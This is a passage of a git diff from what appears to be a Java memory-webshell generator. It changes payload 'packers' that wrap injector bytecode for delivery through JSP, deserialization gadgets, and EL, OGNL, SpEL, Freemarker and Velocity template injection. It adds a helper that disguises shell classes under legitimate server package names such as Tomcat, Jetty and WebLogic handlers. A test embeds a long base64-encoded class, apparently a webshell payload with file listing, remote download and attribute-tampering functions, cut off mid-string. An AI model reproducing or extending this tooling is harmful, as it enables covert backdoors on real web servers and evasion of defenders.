*/ +public class Base64Packer implements Packer { + @Override + public String pack(GenerateResult generateResult) { + return Base64.encodeBase64String(generateResult.getInjectorBytes()); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java index 03c0529e..ed85b585 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java @@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.DeserializeConfig; import com.reajason.javaweb.deserialize.DeserializeGenerator; import com.reajason.javaweb.deserialize.PayloadType; import lombok.SneakyThrows; - -import java.util.Map; +import org.apache.commons.codec.binary.Base64; /** * @author ReaJason @@ -16,17 +15,9 @@ public class DeserializePacker implements Packer { @Override @SneakyThrows - public byte[] pack(GenerateResult generateResult) { + public String pack(GenerateResult generateResult) { DeserializeConfig deserializeConfig = new DeserializeConfig(); deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19); - return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig); - } - - @Override - public byte[] pack(GenerateResult generateResult, Map config) { - String payloadType = (String) config.get("payloadType"); - DeserializeConfig deserializeConfig = new DeserializeConfig(); - deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType)); - return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig); + return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig)); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java index f955b3e4..fe676a93 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java @@ -24,8 +24,8 @@ public class ELPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java index 565ab040..6f572191 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java @@ -24,8 +24,8 @@ public class FreemarkerPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java index 8de14e35..a7b5329c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java @@ -26,9 +26,9 @@ public class JspPacker implements Packer { @Override @SneakyThrows - public byte[] pack(GenerateResult generateResult) { + public String pack(GenerateResult generateResult) { String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorClassName = generateResult.getInjectorClassName(); - return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes(); + return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java index 9024acb2..a1cb3d21 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java @@ -11,11 +11,11 @@ import java.util.Objects; * @author ReaJason * @since 2024/12/14 */ -public class OgnlPacker implements Packer { +public class OGNLPacker implements Packer { ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = ""; - public OgnlPacker() { + public OGNLPacker() { try { template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset()); } catch (IOException ignored) { @@ -24,8 +24,8 @@ public class OgnlPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java index 49ece892..83967eb2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java @@ -17,7 +17,7 @@ public interface Packer { * @param generateResult 生成的内存马信息 * @return 指定格式字节数组 */ - byte[] pack(GenerateResult generateResult); + String pack(GenerateResult generateResult); /** * 部分打包器可能需要配置来进行额外的配置项 @@ -33,38 +33,50 @@ public interface Packer { @Getter static enum INSTANCE { + /** + * Base64 + */ + Base64("Base64", new Base64Packer()), + + /** + * BCEL + */ + BCEL("BCEL", new BCELPacker()), + /** * JSP 打包器 */ - JSP(new JspPacker()), + JSP("JSP", new JspPacker()), /** * 脚本引擎打包器 */ - ScriptEngine(new ScriptEnginePacker()), + ScriptEngine("脚本引擎", new ScriptEnginePacker()), /** * 反序列化打包器 */ - Deserialize(new DeserializePacker()), + Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()), /** * EL */ - EL(new ELPacker()), + EL("EL 表达式", new ELPacker()), - Ognl(new OgnlPacker()), + OGNL("OGNL 表达式", new OGNLPacker()), - SpEL(new SpELPacker()), + SpEL("SpEL 表达式", new SpELPacker()), - Velocity(new VelocityPacker()), + Freemarker("Freemarker", new FreemarkerPacker()), - Freemarker(new FreemarkerPacker()), + Velocity("Velocity", new VelocityPacker()), ; + private final String desc; private final Packer packer; - INSTANCE(Packer packer) { + INSTANCE(String desc, Packer packer) { + this.desc = desc; this.packer = packer; } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java index bd20265b..ba866f24 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java @@ -25,14 +25,13 @@ public class ScriptEnginePacker implements Packer { @Override @SneakyThrows - public byte[] pack(GenerateResult generateResult) { + public String pack(GenerateResult generateResult) { String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorClassName = generateResult.getInjectorClassName(); return jsTemplate.replace("{{className}}", injectorClassName) .replace("{{base64Str}}", injectorBytesBase64Str) .replace("\n", "") .replaceAll("(?m)^[ \t]+|[ \t]+$", "") - .replaceAll("[ \t]{2,}", " ") - .getBytes(); + .replaceAll("[ \t]{2,}", " "); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java index 0884277a..10ec8b02 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java @@ -24,8 +24,8 @@ public class SpELPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java index 500f4358..4638fd3b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java @@ -24,8 +24,8 @@ public class VelocityPacker implements Packer { } @Override - public byte[] pack(GenerateResult generateResult) { - byte[] scriptBytes = scriptEnginePacker.pack(generateResult); - return template.replace("{{script}}", new String(scriptBytes)).getBytes(); + public String pack(GenerateResult generateResult) { + String script = scriptEnginePacker.pack(generateResult); + return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java index 266c50ff..16ff0ee8 100644 --- a/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/util/CommonUtil.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.util; +import com.reajason.javaweb.config.Server; + import java.io.ByteArrayOutputStream; import java.io.IOException; import java.security.SecureRandom; @@ -24,6 +26,14 @@ public class CommonUtil { "com.google.gso", "ch.qos.logback" }; + private static final String[] MIDDLEWARE_NAMES = { + "Error", + "Log", + "Report", + "Auth", + "OAuth", + "Checker" + }; public static byte[] gzipCompress(byte[] data) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); @@ -55,4 +65,22 @@ public class CommonUtil { public static String generateInjectorClassName() { return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)]; } -} + + public static String generateShellClassName(Server server, String shellType) { + String packageName = switch (server) { + case Jetty -> "org.eclipse.jetty.servlet.handlers"; + case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers"; + case SpringMVC -> "org.springframework.boot.mvc.handlers"; + case SpringWebflux -> "org.springframework.boot.webflux.handlers"; + case WebSphere -> "com.ibm.ws.webcontainer.handlers"; + case WebLogic -> "weblogic.servlet.internal.handlers"; + case Resin -> "com.caucho.server.dispatch.handlers"; + default -> "org.apache.catalina.web.handlers"; + }; + return packageName + + "." + getRandomString(1) + + "." + getRandomString(1) + + "." + getRandomString(1) + + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; + } +} \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java index dc004944..775e24a5 100644 --- a/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java +++ b/generator/src/test/java/com/reajason/javaweb/buddy/LogRemoveVisitorWrapperTest.java @@ -13,8 +13,6 @@ import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.pool.TypePool; import org.junit.jupiter.api.Test; -import java.nio.file.Files; -import java.nio.file.Paths; import java.util.logging.Logger; import static org.junit.jupiter.api.Assertions.assertNotEquals; @@ -88,7 +86,7 @@ class LogRemoveVisitorWrapperTest { .method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE)) .make(); byte[] bytes = make.getBytes(); - Files.write(Paths.get("xx.class"), bytes); +// Files.write(Paths.get("xx.class"), bytes); Class modifiedClass = make.load(getClass().getClassLoader()).getLoaded(); Object instance = modifiedClass.getDeclaredConstructor().newInstance(); modifiedClass.getMethod("methodWithLogs").invoke(instance); diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java new file mode 100644 index 00000000..6866bf4c --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memsell/packer/BCELPackerTest.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.memsell.packer; + +import com.reajason.javaweb.config.GenerateResult; +import org.apache.commons.codec.binary.Base64; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * @author ReaJason + * @since 2024/12/19 + */ +class BCELPackerTest { + BCELPacker packer = new BCELPacker(); + @Test + void test(){ + byte[] bytes1 = Base64.decodeBase64("yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaW